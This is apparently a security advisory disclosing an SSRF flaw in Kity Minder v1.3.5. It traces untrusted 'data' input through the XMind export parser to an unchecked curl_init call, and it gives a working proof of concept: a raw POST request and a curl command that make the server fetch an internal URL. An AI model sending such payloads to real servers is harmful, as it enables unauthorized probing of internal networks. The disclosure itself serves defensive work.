[Vuln] SSRF vulnerability in init Function of ImageCapture.class.php File (Kity Minder v1.3.5 version)

[zer0yu]

Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make requests to an unintended location.

Impact version: v1.3.5
Test with PHP 7.2

The vulnerable code is located in the init function of the native-support/archive/src/ImageCapture.class.php file, which does not sufficiently validate the image parameter, leading to a taint introduced from the native-support/export.php file in the $_REQUEST['data'] variable in the native-support/export.php file and eventually enters the tainted function curl_init, which, after the curl_exec function is executed, sends a request to the URL specified by the image parameter, eventually leading to an SSRF vulnerability.

The function call path is as follows.

file: native-support/export.php 
code: $file = Parser::toXMind( $_REQUEST['data'] );

file: native-support/archive/src/Parser.class.php
code: return XMindParser::parse( htmlspecialchars( $source, ENT_NOQUOTES ), $previewImage );

file: native-support/archive/src/Parser.xmind.class.php
code: $data = self::doParse( $sourceJSON );

file: native-support/archive/src/Parser.xmind.class.php
code: 'topic' => self::parseTopic( $source, $attachments )

file: native-support/archive/src/Parser.xmind.class.php
code: self::parseImage( $source, $attachments );

file: native-support/archive/src/Parser.xmind.class.php
code: $image = ImageCapture::capture( $source[ 'data' ][ 'image' ] );

file: native-support/archive/src/ImageCapture.class.php
code: $curl = self::init( $url );

The vulnerable function init

private static function init ( $url ) {

    $curl = curl_init( $url );

    curl_setopt( $curl, CURLOPT_AUTOREFERER, true );
    curl_setopt( $curl, CURLOPT_FOLLOWLOCATION, true );
    curl_setopt( $curl, CURLOPT_RETURNTRANSFER, true );
    curl_setopt( $curl, CURLOPT_RETURNTRANSFER, true );

    // 尝试连接时间 10s
    curl_setopt( $curl, CURLOPT_RETURNTRANSFER, 10 * 1000 );
    curl_setopt( $curl, CURLOPT_MAXREDIRS, 5 );
    curl_setopt( $curl, CURLOPT_TIMEOUT, 30 );

    return $curl;

}

Because the image parameter is unrestricted, it is also possible to use the server side to send requests, such as probing intranet web services. The corresponding PoC is as follows

POST /export.php HTTP/1.1
Host: 172.16.119.1:81
Content-Length: 64
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.16.119.1:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.16.119.1:81/export.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

type=xmind&data={"data":{"image":"http://172.16.119.1/testpoc"}}

You can also use the following curl command to verify the vulnerability

curl -i -s -k -X $'POST' \
    -H $'Host: 172.16.119.1:81' -H $'Content-Length: 64' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Connection: close' \
    --data-binary $'type=xmind&data={\"data\":{\"image\":\"http://172.16.119.1/testpoc\"}}' \
    $'http://172.16.119.1:81/export.php'